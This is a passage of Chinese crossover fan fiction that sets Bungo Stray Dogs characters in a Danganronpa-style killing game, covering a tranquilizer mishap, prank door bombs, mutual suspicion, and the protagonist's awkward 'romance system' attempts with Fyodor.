只见西格玛不知道为什麽突然倒在了地上,而果戈里正一脸沉思,细看后者沉思的表情中好像还带着浓浓的匪夷所思。 “他……” 花言知道果戈里又整花活了,他明知故问,“西格玛他怎麽了?” 果戈里难得没有第一时间回答对方,他默不作声地把手中的麻醉枪又往斗篷深处揣了揣,依旧嘴硬。 “哈哈……西格玛他……呃,可能是困了吧……” 花言:…… 花言默然看了眼扎在西格玛脖颈处、被长发遮盖住但没完全遮盖的那一点麻醉弹弹尾,又看了看果戈里扯过去覆盖了侧边身体——明显像是在遮掩什麽的斗篷。 对方似乎有点顾头不顾尾,斗篷就这麽大,对方扯过去确实是遮住了手里的东西,但这样一来藏在身后的棒球棒不就露出来了吗? 所以原来对方说的魔术真的只是魔术,并没有把棒球棒隔空放回体育馆。 花言不合时宜地走神了一瞬。 难怪会保证西格玛不会再对他出手呢,原来是要自己亲自动手了。 连装备都这麽齐全。 不过,他也能够明白对方的想法,果戈里跟西格玛大概达成了什麽共识,考虑到“想要出去就必须杀一个人”的规则,果戈里或许是劝西格玛一起合作,一个杀费奥多尔,一个杀他。 花言怀疑费奥多尔肯定是已经察觉到了果戈里和西格玛的想法,所以才会说他们已经是朋友了,想要这两人先对他下手。 而果戈里会让西格玛在那个时候对自己出手,不仅仅是想抓住自己当时全神贯注在偷听——好得手的时机,同样可能也想试探出他的“才能”,只可惜失败了。 于是第二次果戈里亲自动手,考虑到第一次动手失败,他已经有了防备,所以对方在等一个好的时机,而这个时机就是他因食堂内黑白熊要端走他饭而松懈防备的一刻。 对方时机抓的确实很好,开枪的准头也不错,只可惜他运气更胜一筹,与麻醉弹擦身而过,导致这剂麻醉弹打在了西格玛身上。 花言看着睡得一脸安详的西格玛,幽幽感叹。 “年轻就是好,倒头就睡。” 果戈里干巴巴地笑了两声,“哈哈,是啊……” 果戈里也有些不知道该说什麽了,在气氛即将陷入沉默的那一刻,他们口袋中的电子学生手册忽然不约而同地发出一声轻响。 花言拿出来一看,发现原来是规则更新了。 说是更新的规则,实际上更像是又把原来废弃掉的规则补充上去了。 ——“晚上十点到早上七点期间为“夜间时段”。请注意,夜晚时段会有部分地区禁止入内。” 花言疑惑地看向食堂里的黑白熊,有点不太能理解对方的脑回路。 既然要加上,那为什麽一开始要删掉? 是没有考虑到会有人从这方面意识到时间问题吗?现在听见果戈里说西格玛昏迷的借口,怕对方也从“夜晚”这个概念上意识到时间问题,所以想及时止损? 还是说黑白熊在看见“幸运”疯狂发力后,为了把他搞出局,已经不择手段想要削减他的信息优势,不惜增添上这条规则,让所有人都意识到时间上有问题? 花言不太明白,但很快他就明白了。 因为在他想要踏入食堂吃茶泡饭时,黑白熊忽然把食堂的门关上了,还挂上了一个大大的锁,并一脸笑容地对他说—— “唔噗噗噗,抱歉啊,花言同学,夜晚时段食堂禁止入内~” 原来是为了不让他吃饭! 好一个恶毒的黑白熊!对方肯定是因为在后厨的时候,没能用超滑地板暗算到自己,所以现在来明的针对了! 花言看着黑白熊一扭一扭走远的模样气到险些昏厥,一旁的果戈里似乎是在思考什麽,竟没有趁这个好机会再给前者来一枪麻醉弹,再次开口时已经恢复了那副热情又轻快的笑容。 “哇呜——没想到已经是夜晚时间段了,难怪西格玛会困到倒地就睡呢!”果戈里的嗓音抑扬顿挫,“花言,能麻烦你帮我一起把西格玛扶到寝室去吗?” 这种话也只有果戈里才能说得出来,换做其他任何一个人,肯定都不好意思再跟偷袭两次都失败的目标说话吧。 花言看着地上好不容易不用在思考这些糟心事的西格玛,最终还是答应了。 或许是这所校园目前本身就没有什麽可以过多探索的地方,也可能是其他人也后知后觉意识到了时间原来已经到该睡觉的点了,一路上果戈里和花言遇见了不少人。 看见校规从视听室赶往寝室的五人看着那两名白发少年中间架着的、不省人事的西格玛,脸上都流露出了迟疑与震惊。 他们记得一开始不是果戈里跟西格玛合夥偷袭花言吗? 怎麽现在不省人事的反而是西格玛了……? 这中间到底发生了什麽?这几人之间气氛这麽紧张吗?瞬息万变? 即使是太宰治,此刻也不由得产生了好奇,他走近询问离他最近的花言。 “他死了吗?” 怎麽说话的呢?说的他像是什麽杀人魔一样。 花言当即撇清关系,“我不知道,果戈里说他困到睡着了。” 太宰治:? 太宰治伸出手指向西格玛的脖子,刚想说对方脖子上还有麻醉弹没拔下来,只见一旁扎着麻花辫、一身魔术师打扮的少年手疾眼快地把麻醉弹拔下来藏进了斗篷中,语气笃定。 “没错哦,他就是单纯困到睡着了。” 太宰治:…… 其他人:…… 所以那个紫白发的少年果然是被背刺了吧?! 第53章 “砰——!” 一道震耳欲聋的轰鸣骤然从前方的寄宿区响起,打断了他们之间的交流。 众人表情一凝,暂时放下了果戈里与花言,匆匆略过他们往寄宿区赶去。 果戈里很了解这道声响源于什麽,出于对未知事物和看热闹的激动,他脚下步伐加快。 花言也很了解这道声响源于什麽,出于对是谁第一个得到“惊喜”的好奇,他也同样加快了速度。 两人心照不宣地略过站在门口发宿舍钥匙的黑白熊,架着西格玛飞速踏入了寄宿区。 寄宿区内走廊中缭绕着爆炸过后的黑烟,空气中弥漫着一股刺鼻的火药味,所有参与这场自相残杀游戏的成员都在这里再次汇聚,甚至就连原本在宿舍内更换衣服的费奥多尔,也打开房门露出了身形。 一片严肃的氛围中,握着门把手被炸得灰头土脸的福地樱痴忽然爆发出爽朗的大笑。 “噢!是触发式的炸弹吗?很不错的计谋!不过好像经验不足,制出的炸弹威力太小了啊!连老夫的皮都没炸破!” “队长,这种时候就不要挑衅了啊。”条野采菊有些无奈地叹了口气,他捏住了鼻子,“都说了这里有火药味,您还要打开那扇门,托您的福,现在空气里到处都弥漫着火药味,害得我根本分辨不出哪里还会有炸弹了。” “没事。” 大仓烨子拿出从黑白熊那领到的钥匙无所顾忌地打开了门,在迎接爆炸气浪的同时,回头从容地对条野采菊说:“这点炸弹威力小的跟爆竹一样,是恶作剧吧。” “话虽如此。”条野采菊指了指对方手中的门把手旁边的门锁,提醒道:“如果爆炸了,门锁可就坏了哦。” 大仓烨子和福地樱痴才注意到这一点,他们低头看去,发现各自宿舍门上的老式门锁已经由于爆炸所产生的气浪和高温产生了扭曲。 大仓烨子暴怒,“可恶!究竟是谁干的?!” 条野采菊:…… 条野采菊有点想说对方刚刚还是一副毫不在乎的模样,但考虑到对方可能会迁怒,最终还是没有说出口。 他低下头研究自己寝室门,这个微型炸弹虽然威力不大,但安装的位置却十分巧妙,正好卡在门缝靠门锁的位置,再加上脆弱的材质和触发式的机关,任何细微的摩擦都极有可能会导致炸弹的引爆。 炸弹应该是自制的,也有可能是那个叫黑白熊的东西提供的,不过——安装这个炸弹的人似乎从一开始就没想过用炸弹伤到他们,那对方的目的是什麽呢? 想试探他们的能力?还是在挑衅他们,想看他们亲手破坏自己寝室门的门锁?又或者是有什麽更精密的计划,这只是为了打响这场自相残杀游戏的第一步? 完全无法理解。 如果有炸弹这种工具可以使用,那为什麽不直接来个大的爆炸一波带走数半人呢? 条野采菊费解地试图拆下炸弹,但或许是这里没有异能,体质的下降与周围嘈杂环境让他感知受到了影响,也有可能是他手中没有任何工具而这个炸弹材质又太过脆弱有些不稳定。 以至于在他伸手刚触碰上门板时,那枚微型炸弹轰然爆炸。 大仓烨子见状毫不客气地大笑出声。 “哇咔咔!条野,你变迟钝了啊!” 条野采菊挥散面前的烟,没有回答,他微微侧头,倾听在场所有人对这场变故的反应。 大仓烨子也随之将注意力落到了其他人身上,周围的其他人要麽是在检查自己宿舍门上有没有炸弹,要麽是在静观其变,看来看去,果然还是…… 她将目光停留在唯一一个打开了宿舍房门——已经进宿舍的费奥多尔身上。与他们不同,后者的门锁还是完好无损的,在这种情况下,对方如果不是精通这方面,就极有可能是制造了这一切的罪魁祸首。 不过如果是后一种可能,似乎有点太明显了。 为了以防万一,大仓烨子还是问道:“喂,是不是你干的?” “我想,这个答案很明显。”费奥多尔轻叹一口气,从房间内走了出来,露出被缠着绷带的左手,雪白的绷带上浸染出星星点点的赤红,“我的手不小心受伤了,没办法布下那麽细致的机关,这也是为什麽我会在寝室内休息的原因。” 隐藏在刺鼻硝烟后的淡淡血腥味昭示着这并不是谎话,对方确实受伤了。 但大仓烨子仍旧有些怀疑,倒不如说,因为对方受伤的时机太过巧合,反而显得更可疑了。 “你房门没被安炸弹?” 费奥多尔微微颔首。 “那你有看见谁来过这里吗?” 大仓烨子眉头微皱,如果对方房门没有炸弹,那是不是意味着炸弹是在对方进宿舍后装的?因为知道这间宿舍有人,怕被发现,所以安装炸弹的人才略过了对方? 费奥多尔没有开口,但他的视线却看向了寄宿区走廊门口那边的三人…… 费奥多尔在看清那三道身影的具体情况时,眼底飞快闪过一丝诧异,他记得果戈里应该是和西格玛达成合作了才是,为什麽现在陷入昏迷的人是西格玛? 果戈里与花言一同架着西格玛的模样看起来甚至还有几分和谐。 这个结果有些超出了费奥多尔预料,也让他有些好奇究竟发生了什麽。 大仓烨子读懂了费奥多尔的暗示,她顺着对方视线看去,视线在两人间昏迷不醒的紫白发少年身上停留了一瞬,再看那两人越看越有嫌疑。 “诶——是怀疑我们吗?但是陀思君,你应该很清楚吧?我和西格玛只是看你受伤才好心把你送到寝室的,你也亲眼确认了我们的离开。” 果戈里脸上笑容加深,“比起我们折返安装炸弹,你和花言的嫌疑不是更大吗?你受伤的时间是在一个小时前,而最初我们分两路搜查这一层的时候,你和花言可是负责这一片局域的——时间上非常充沛呢。” 说到这里,果戈里像是想起了什麽实质性的证据,“哇呜!说起来你会受伤,也是因为去帮花言取餐……” 花言觉得果戈里有点过分,居然一次踩两。 虽然他当时确实不知道费奥多尔是不是故意摔跤的…… 花言仔细回想了一下当时的场面,还是认为费奥多尔没想到会摔这一跤的可能性大一点,毕竟在这种危险度极高的自相残杀游戏里,受伤并不是什麽好选择,以对方的头脑不该会选择这种下下策,更何况当时灯光也完全掩盖住了地板的异样,会发现不了也很正常。 所以对方果然是在受伤后将计就计了吧。 既然对方没有提醒其他人注意炸弹,也没有碰这些炸弹,那对方的目的应该是想通过这次爆炸直观了解其他人的性格、顺带得到他们“才能”方面的线索? 该说不愧是费奥多尔吗? 就算遇见了倒霉事,也能够从中利益最大化。 果戈里后面的猜测虽然没有明确说出口,但其他人看他和费奥多尔的眼神已然发生了变化。 花言默不作声地从肩膀上摘下了西格玛的手臂,将变脸展现的淋漓尽致,用行动表示了什麽叫“我好心帮你抗人,没想到你居然怀疑我”的心灰意冷。 这边果戈里在大仓烨子质问声的背景音乐下试图挽回“深受打击”的花言,另一边武装侦探社众人已经飞速检查完了现场。 “稍微打断一下,我们发现了一件非常有趣的事情哦。” 太宰治出声插入了这几人混乱的猜疑链中,“那个人在安装炸弹时,似乎材料不太够,只安装了前面九个人的宿舍,也就是你们那边的三人,与我们这边的五人,以及那位褐发少年——如果我没记错的话,应该是叫立原道造吧?” 太宰治笑着看向在港口mafia之中的褐发少年,继续说道:“在他之后的宿舍门就没有炸弹了。” 原本在果戈里、花言与费奥多尔之间排查嫌疑人的大仓烨子闻言微愣,她回头看向立原道造,又看向福地樱痴与条野采菊,对视间,他们眼底神色都凝重了些许。 太宰治假装没有注意到这几人之间细微的变化,“说起来,我在房间里发现了黑白熊给我们准备的材料和工具,对方应该是利用这些材料制造出的炸弹,因此……” “哦——!”果戈里发出恍然大悟的声音,看热闹不嫌事大地补充道:“接下来是要搜查所有人的房间,只要谁房间里的材料少了,谁就是嫌疑最大的人——对吗?” “听起来是个好主意呢。”花言赞同地点头,旋即又话音一转,“不过这个方法也不绝对吧?在最初的时候,宿舍钥匙并不是由黑白熊保管,而是放在寄宿区门口架子上的。所以如果有人在黑白熊保管钥匙之前来到寄宿区,是完全可以随意开启别人寝室的门、用里面的材料并栽赃的。” “你……还真是清楚呢。” 太宰治意味不明地看向对方。 来回拉扯半天的大仓烨子耐心耗尽,直接冲到嫌疑最大的目标面前想要先动手控制对方,再慢慢拷问出真相。 只不过花言早有防备地躲过了大仓烨子直冲他衣领而来的手——虽然按照他们之间的身高差,即使他不躲大仓烨子八成也抓不到他衣领,但万一对方会反手一拳锤在他肚子上,把他锤矮呢? 一击不成的大仓烨子怒极反笑,势必要揪住花言,但诡异的是她每一次攻击都刚好差一点碰到对方,雪白的衣摆从她指缝中滑走,怎麽都抓不住。 花言一边凭借经验随机躲闪,一边跑向费奥多尔,径直躲在了后者身后。 费奥多尔伸出手,像是下意识想要护住花言,但实际上却是借此不动声色地合拢了身后房门。 大仓烨子在两人面前停下脚步,嗓子里的质问还没说出口,只听花言幽幽出声。 “你耐心好差,我会知道这一点单纯是因为在寄宿区刚好遇见了黑白熊,是它告诉的。” 花言微微顿了顿,语气意有所指,“不过在遇见它的时候,宿舍钥匙就已经由它保管了,它也说会更改钥匙存放的位置是出于某名同学的提醒,也就是说——在这之前,就已经有人来过了。” 站在花言身前的费奥多尔瞬间明白了对方的意图,他唇角微勾,看向面前的大仓烨子,被刻意放轻的嗓音显得无比真挚,“如果您不相信,可以找黑白熊出来问一下,它作为这场游戏的裁判应该不会偏袒任何人。” 话音落下的那一刻,黑白熊突然从天花板上落下来,出现的时机巧合的仿佛对方一直在暗中观察——事实上也确实如此。 黑白熊像是在为终于有混乱发生而感到愉悦,落在地上时不忘举起双手,像是体操运动员表演完的完美落地,脸上的笑容十分灿烂。 “虽然我很希望他能够成为你们所有人的目标,但是……” 黑白熊先是幸灾乐祸似的开口,而后又遗憾地摇了摇头,摆出了一副正直的样子,“身为校长,我是不会颠倒黑白的——没错!花言同学说的是真话!” 说完黑白熊又发出古怪的噗噗怪笑,看起来分外不怀好意,只不过众人都已经习惯了黑白熊的恶意,并未在意。 “你看,它都这麽说了。”花言颇为无奈,“你应该明白了吧,真不是我们做的,我们只是单纯倒霉。” 虽然还没有人弄清楚操控黑白熊的幕后黑手究竟是谁,不过黑白熊与花言之间的针锋相对所有人都有目共睹,因此黑白熊的话确实有几分可信度,再加上光盘中的视频…… 一时之间气氛再次陷入沉寂,大仓烨子回头看向条野采菊,后者似乎在出神,好半天才反应过来,朝大仓烨子摇了摇头,表示自己并没有从这两人的心跳声中察觉到不对。 大仓烨子将信将疑,“真不是你们做的?” 花言诚恳点头。 老实说,大仓烨子还是有些怀疑,但又没有任何实际性的证据,其他人的反应也都不太对劲,像是各怀心事那样暗自走神。 “算了,副队长。”条野采菊沉默片刻后出声,“他总会暴露的。” 这个“他”像是在指安装炸弹的人,也像是在指其他事物。 大仓烨子没有听出条野采菊话中的深意,她觉得对方说的确实有道理,唇边扬起了灿烂的笑容。 “说的也是呢,希望接下来不会过太无聊。” 费奥多尔闻言瞥了一眼身后的花言,后者似乎心情不错,唇角不太明显地微微勾起了些许弧度。 对方心情当然不错,毕竟对方达成了目的。 黑白熊确实没有偏袒任何一方,对方说的也确实是实话,只不过模糊了部分信息。比如对方从未说过自己不是独自一人来的寄宿区,也没有明确说明“在这之前”中的“这”究竟是哪个时间——是和他一起搜索这片局域的时间,还是后续对方独自一人来的时间。 对方借此在威胁他成为共犯,否则对方一旦说出他们分开过的事实,他就会成为嫌疑最大的人——哪怕自己只把炸弹布置在了花言一个人的寝室。 虽然就算对方说出来了,他也有办法摆脱嫌疑,不过那样就太麻烦了,再加上他手受伤不太方便行动,相比之下,顺应对方也未尝不可。 炸弹事件至此告一段落。 哪怕太宰治与其他人意识到了什麽也不会选择在这个时候说出来,毕竟这里人实在是太多了,考虑到光盘中的视频,还是与能够信任的同伴交流这点线索比较好。 花言早在打算分享这个“开门有奖”的时候,就已经想好了要怎麽收尾。 事实证明他的运气果然不错,没有出现任何意料之外的变故。 他也是时候回自己宿舍了。 花言愉悦地迈开步伐,刚准备一个跨步丝滑进隔壁——属于他的寝室,就感到头皮传来一股巨大的拉扯力,伴随着拉扯力的,还有一阵近乎要把他脑子抽出来的尖锐刺痛,身形被迫往后倒去。在身体失去平衡的一瞬间,他下意识抓住身旁能够抓到的东西,想要避免摔倒的命运。但没想到抓住的东西不仅没能帮上他,反而还被他牵连了。 原本费奥多尔是打算转身回房间的,但就在他转身的那一刻,忽然有一只手拽住了他衣领,他的身体本来就不怎麽好,再加上受伤失血导致他身体更加虚弱,以至于猝不及防之下被对方狠狠拽了过去。 重力惯性与施加的力道,让两人额头狠狠撞在了一起。 漆黑在两人视野中快速蔓延,将意识一同拖入深渊。 已经打算各回各屋的众人听见“碰”的一声声响本能回头望去,结果这一回头,刚好看见两人相撞在一起倒地失去意识的惨状。 与谢野晶子迅速上前查看情况,粗略检查发现这两人的额前都红了一片,顺着铺陈在地上的白发,她找到了让这两人撞在一块的“罪魁祸首”。 与谢野晶子用力从门缝里抽出了卡在里面的半截白发,拿在手中回头看向其他人。 最终仅宣告了结果,“他们晕过去了。” 哪怕她没有说这两人晕过去的原因,目睹了对方所有动作的其他人也都明白了。 众人:…… 大仓烨子相信花言所说的——他们只是单纯运气不好的话了。 这确实很倒霉。 怎麽会有人因为头发被门夹住、想拉人稳住身体避免摔跤而导致彼此头部撞在一起双双陷入昏迷啊?! 第54章 因意外而猝不及防断片的意识重新苏醒,身体的自我保护机制让两人条件反射性地从桌子上猛地直起背脊。 完整的记忆与梦中所发生的一切接轨,回想起被强制入睡前情况的花言遏制住了想要睁开眼睛的本能。 他连因睡眠姿势而落在地上的墨镜都无暇顾及,双手捂住脸,无声崩溃。 憋了一晚上的系统终于能够说话了,它回想自家宿主抓着攻略目标衣领撞在一起双双倒地的画面,犹豫再三,还是关心地询问。 【宿主,你还好吧……?】 [好,我很好啊!] 花言洒脱的话语中透着淡淡的死意。 [呵呵……我根本不在乎我在他心目中留下了什麽样的形象,因为我强得要命。] 系统想问的其实是对方的脑袋没事吧,毕竟这两人额头猛烈撞击的时候发出了超大的声响,而且后面失去意识倒地的时候,后脑勺还再次磕到了地板受到了二次重创。 不过对方比起皮肉伤更在意攻略任务这件事倒是十分让它欣慰。 【真的吗?】 系统刚准备夸赞对方心态能这样豁达——不会在意这次小意外真是太好了,就听见对方语气一百八十度大转弯。 [假的。] 花言绝望出声。 [完了,我在他心里说不准成果戈里那一档的人了。] 他果然还是行动了,使用微型炸弹炸坏了近半人的门锁,打破了这场自相残杀游戏中微妙的平衡与僵持,同时也将杀人难度直线拉低。 虽然在那里感受不到困意,睡眠也不是必要的,但这并不意味着其他人不需要宿舍。 宿舍的存在就像是这场自相残杀游戏中的安全屋,而现在有一半的人都失去了这个安全屋,黑白熊不可能会帮他们修宿舍门,同样,黑白熊给的材料里也没有任何能够让他们自行修门的材料。 如果不是火药不够,他觉得自己当时肯定会安装在所有人的门上,无差别攻击所有人,随机选择拆不掉炸弹的观众一起住大通铺。 甚至最后他还不忘拉费奥多尔一起垫背,这个垫背指的不仅是将对方拖成共犯、一同混淆其他人的判断,还有物理意义上的垫背。 花言捂着脸不想面对现实,坐在对面的费奥多尔也没有立即开口。 他眼帘微垂,指尖无意识地触碰着额头,剧烈撞击后的痛楚似乎还在神经上残留,激起阵阵幻痛。 他们都像是在思考该怎麽跟对方解释昨晚自己的所作所为,一时之间宿舍内气氛寂静无比。 直到花言做好了心理准备,弯腰从地上捡起了墨镜戴回眼前。 他抬眼看向费奥多尔,发现后者指尖抵在额前,像是被那一下撞得不轻。 花言深吸一口气。 “十分对不起。” “非常抱歉。” 两人不约而同地开口,又同时顿住。 花言等了一会儿,才继续说明,“我不是故意拉你衣领的。” “嗯,我知道。” 费奥多尔好脾气地笑了笑,“这点是我的问题,应该我向您道歉才对,是我合上房门时没注意夹到了您的头发。” 费奥多尔确实不是故意的,他没想到时机会那麽巧,也没想到对方的头发会刚好被门卡得死死的。 明明宿舍的门密闭性并不算好,这点从对方能够在门缝处安装触发式微型炸弹就能看出来了,所以是头发刚好缠在了锁里吗? 这种有些离谱的巧合让他想到了自己踏入后厨滑倒的时候。当时也是,自己的手就这麽不偏不倚刚好擦在了锋利的瓷片上。 不知道为什麽,费奥多尔觉得自己昨晚的运气好像有点差。 花言忍痛摇头。 不,对方根本不知道。 他怀疑自己头发会被夹是由于他的“才能”。 众所周知,“幸运”是一个薛定谔的词汇,也许此刻所发生的事对此刻的他来说是不幸的,却对未来的他来说是幸运的。当然,也有可能会被门夹到头发纯属是他运气用完的反噬,毕竟运气就是这样一个不稳定的东西。 所以这跟对方没有多大关系,纯粹是他运气作祟。 费奥多尔不知道对方摇头背后的心路历程,只把这当作对方礼貌性的安慰,提起了另一件事。 “除了这件事,对于在您房间里安触发式炸弹的事情,我也十分抱歉。”他眉头微皱,似苦恼般,“我在失去了一段记忆的情况下,被它影响了判断。” 这个“它”指的是谁,自然不言而喻。 花言不太相信对方会被黑白熊影响判断,他更倾向于对方本身就想这麽做,于是顺势而为。毕竟果戈里都意识到了他身上的违和,没道理费奥多尔会察觉不到。 费奥多尔轻轻叹了口气,继续说道:“当时我与您分开后搜索寄宿区时,它忽然出现在我眼前,跟我进行了一笔交易,提前将光盘给了我,并对我说——我会成为所有人的目标,特别是您。再加上我光盘中的内容是有关于您的,变相证实了这一点,所以才导致了这样的结果发生。” 对方不提这件事还好,一提花言就想起昨晚强制入睡前费奥多尔所说的那句“相信他”的话,亏他还被感动到热泪盈眶,甘愿分享最喜欢的食物。 现在来看对方肯定是因为发现黑白熊在针对他、恨不得让他率先出局,所以才相信这场自相残杀游戏不是他做的吧。 花言其实并不在意对方给自己安炸弹的事,他比较在意对方欺骗了他的感情。 毕竟当时就算他在打开寝室门时没有发现炸弹,他也会在打开抽屉发现应有尽有的材料工具时给每个人一点“小惊喜”。 至于拖费奥多尔下水成为共犯,纯粹是因为哪怕他失忆了也没忘记费奥多尔对他而言的特殊,更何况对方刚好还是最为合适的人选。 不过既然对方也提前从黑白熊那拿到了光盘,就说明对方也去了视听室,但他并没有在视听室遇见对方,也没有在食堂走廊看见对方的身影…… 是对方到视听室时发现自己已经在了,所以等他走了再看的,还是在路过食堂时刻意躲过了他的注意呢? 花言收敛思绪,理解地点头,“没关系,关于这一点我也要向你道歉,嗯……就是炸坏近半人宿舍门锁的事——是我被看见的视频误导了……” 费奥多尔不太相信对方会被误导,但是昨晚对方确实有点无差别攻击了。 如果没有被误导应该只会针对自己才对。 他若有所思地说道:“我记得您在离开视听室前提醒过我们——不要太相信视频中的内容,它很会误导人。但是……我看见的视频并没有任何误导的内容存在,确切来说,它更像是把您和我之间的事都重现了一遍。” “从“骸塞”我们第一次见面开始,到后面船上的再次见面、再到您偷袭港口mafia仓库导致我被后者盯上、再到您绑架我下属的那一幕、以及默尔索监狱中的再次相遇……唔,中间还参杂了一些您在横滨重现六年前“龙头战争”的事,以及我在横滨的据点似乎有被人入侵过的细微痕迹,与咖啡厅中奇怪的身影。” 费奥多尔缓缓诉说的同时,不动声色地观察着对面少年的每一个反应,试图从后者的细微反应中得到线索,弄清楚对方的真正目的。 但让他感到奇怪的是,伴随着他吐露出的话语,对方反而再次伸手捂住了脸,像是在借此躲避视线,因什麽而感到丢人? “抱歉……” 半晌,花言的声音从指缝中流露。 这一刻果然还是来了。 哪怕他不擅长跟人相处、也完全没谈过恋爱,却依旧十分清楚如果在这种时候回避,极有可能会出现相当糟糕的结果。 他难得有些不知道该怎麽跟对方解释,“虽然你可能不会相信,但是我只是想见你……跟你接触一下而已……” 费奥多尔想过无数种回答,却唯独没有想过这种。 这确实有点超出他预料了,不过…… “如果是这样,您在“骸塞”时……” 这个问题还没问出口,费奥多尔先一步想到了原因,对方在“骸塞”时是第一次出现,降落的位置和时机都不算好,会放弃这次跟他接触的机会也很正常。 “在船上的时候,您为什麽……” 费奥多尔又沉默了,那个时候好像也不是什麽好的时机,也是他先入为主想杀人灭口的,哪怕对方解释了,自己也不会信吧。 以对方对自己的了解来看,会做出直接离开的选择也很正常。 “那麽……您为什麽要袭击港口mafia的仓库呢?” 费奥多尔对此颇为费解,如果对方只是想跟他接触,那完全没有必要去袭击港口mafia仓库。 “原本是不想袭击的。”花言言简意赅地说明,“但是出了点意外,来都来了,他们干脆就把货物都搬走了。” 费奥多尔:…… “他们是……?” 花言毫无心理负担地交代了同夥,“港口mafia。” 费奥多尔:…… 他知道对方口中的港口mafia不会是这个世界的港口mafia,应该是其他平行世界的港口mafia众人。 至于后面的问题,对方也说过为什麽绑架自己下属的原因,就连对方在横滨重新“龙头战争”原因都可以看作是为了进默尔索,甚至咖啡厅里奇怪的店员也可以看作是对方想找机会跟他接触。 因此唯一目的不那麽纯粹的只有他据点被入侵的事情。 从对方会在港口mafia仓库上模糊部分信息的做法来看,即使他问了八成也得不到缘由——不过没关系,他总能从对方身上找到答案的。 “这个世界该不会也是……” 费奥多尔后面的话没有说出口,但花言明白他的意思,毫不犹豫地点头。 “没错。” 旋即花言又有些迟疑,“原本是想找一个合适的场地,没想到出了点意外。” 费奥多尔有些不知道要摆出什麽样的表情了。 倒不如说他更疑惑了。 “您为什麽要不惜做到如此地步呢?” 这能说他是被一个非常不靠谱的攻略系统绑架了吗?如果他不攻略,对方就要让他在两个世界都社死! 是威胁啊!他被威胁了! 花言隐忍着缓缓摇头,“抱歉,我有不能说的理由。” 看出花言不想细说,费奥多尔也没有再继续问。 老实说,用这个目的当解释其实很牵强。 但考虑到“涩泽龙彦”所说的“实体”,如果对方之前一直没有实体,第一次尝试用实体跟人交流接触,在种种阴差阳错下出现这些结果倒也正常。 只是……从对方表现出的能力来看,对方拥有能够控制影响其他平行世界的力量。那为什麽一定要是这个世界的他呢?为什麽对方偏偏在这个世界有了实体? 对方了解自己,也知道他想做的事,这点从对方近乎能够掌控自己所有行踪就能看出来。既然如此,是这个世界有某种特殊性吗?他要做的事情会影响到对方? 还是说对方本身就出现了一些问题,以至于才会出现丢失这个平行世界控制权的情况? 费奥多尔垂下眼眸,将话题重新回归正轨。 “您看见的视频是什麽样的内容,可以告诉我吗?” 花言没有隐瞒,将视频里的内容直白地告诉了对方。 说完,他义愤填膺地指责黑白熊的恶意剪辑,“它为了看我们自相残杀真是不择手段!” 费奥多尔难得没有赞同对方,他沉默了一下,觉得黑白熊可能有点冤枉,毕竟这些事落在不了解对方的人眼中,似乎都会以为就是如此…… 如果没有对方刚刚的解释,他或许依旧不会相信对方会被视频误导,但现在再看,他有点相信了。 既然对方在那场自相残杀游戏里也会失忆,那麽会被误导也是正常情况。 费奥多尔刚准备说些什麽,耳边忽然响起的清脆铃声率先引走了他们的注意力。 两人都瞬间认出了这道铃声背后的含义。 费奥多尔看向花言,有些遗憾,“看起来我们花的时间有点多,好像要迟到了,您……” 不等费奥多尔说完,花言已经习惯性地将那句话脱口而出。 “既然如此,帮我请假吧。” 反正已经迟到了。 费奥多尔:…… 奇怪了,他为什麽会从对方身上看见一种熟练的感觉,像是经常干这种事。 “我也想这麽说。” 费奥多尔最终还是管控住了表情,他轻轻笑了一声,“我们一起请假吧。” “一起?” 花言有些诧异。 费奥多尔温和地点头,“嗯,这样我们就有一整天的时间可以相处了,不是吗?” 他在这所校园想弄清楚的事情已经都弄清楚了,再继续去上课也只是浪费时间。相比之下,还是对方身上的秘密更为重要。 花言愣住。 旋即大为震撼! 难……难道还真的能走校园恋爱剧本?! 第55章 费奥多尔熟练地通过电子学生手册为两人请好了假,用的借口是令审核教师都无法拒绝的身体不适。 这所校园似乎格外注重学生的身心健康,只要是有关这方面的请假原因近乎都不会拒绝。 既然已经请到假,那他们的时间就宽裕了起来。 等两人慢吞吞地收拾好从寝室出来准备去食堂先吃早饭时,已经接近十点,这个时间段还是上课的时间,两边栽种着繁樱的路上近乎看不见任何学生的身影,春风和煦地扬起从树梢飘落的樱花花瓣,空气中弥漫着属于春季的淡香。 春季的氛围、繁茂的樱花树、寂静空旷的学院小径。 这几个元素加起来让花言觉得他应该努力找点话题提升一下攻略进度,但无论他怎麽搜刮大脑,想到的东西最后都会变成——一会去食堂是吃素包子还是肉包子、不知道除了包子之外还会有什麽吃的、大早上食堂会提供米饭吗、说起来现在已经快临近中午了,说不准他们能够第一个吃到午饭……之类的、完全偏离本意的结果。 系统似乎也在为此焦急。 【宿主,好机会啊!现在天时地利人和!你快说些什麽啊!】 [我知道,但是我不知道说什麽啊!] 花言痛苦地回答。 [我要说什麽呢?这花真粉、这天真蓝,还是问对方喜欢吃些什麽?食堂里的包子几块钱一个?] 【别急,宿主!】 系统深吸一口气,虽然它不用呼吸,但是它知道,现在正是对方需要它的时候! 系统将这一幕来回比对数据库中的校园恋爱剧情,用庞大的数据为对方筛选出了合适的话题。 【宿主,我已经比对过了所有校园恋爱的数据,与此刻氛围最匹配、同样也出现次数最多的话题是——表白!】 花言:? [这对吗?] 这是不是有点太快了?! 怎麽一下子跨到最后去了? [给我换个话题!] 他觉得对方不该只单纯依照氛围筛选,还应该加入感情进程作为筛选条件。别人的那都是已经有了感情基础,水到渠成,所以再来点春季樱花烘托一下,气氛为辅、情感为主,怎麽到他这里就变成了气氛为主了?完全不顾情感进度的死活是吧! 系统听话地给花言筛选出了其他话题,但花言怎麽听都不太对。 系统给出的第二个话题大部分都是“你身边的那个人是谁”、“你怎麽能不信任我”之类的误解向质问;第三个话题是感叹樱花开得繁茂、从来没有见过如此热烈的花,就像是他的感情一样…… 怎麽这些话题不是狗血剧情就是土味啊?! 直到他们走进食堂,花言都没筛选出一个合适的话题,他沉默地坐在食堂长椅上,宛如一个失去了梦想褪色的白色开花肠。 费奥多尔注意到对方从出宿舍门开始就像是在思考什麽难题似的,表情凝重而又沉默。 他没有冒然出声打扰对方,仅依照对方平时展现出来的口味,挑选了对方可能会喜欢的食物轻轻放在对方面前。 瓷盘接触桌面发出的细微声响唤回了花言因错过好机会而懊恼的思绪,他下意识看向面前的食物,意外发现都是他爱吃的。 往好处想想,虽然他没有想到要跟对方以什麽样的话题作为开场白,但最起码不用再犹豫吃什麽了。 “谢谢……” “不用客气,希望能合您胃口。” 费奥多尔体贴地给花言留出了足够多的思考空间。 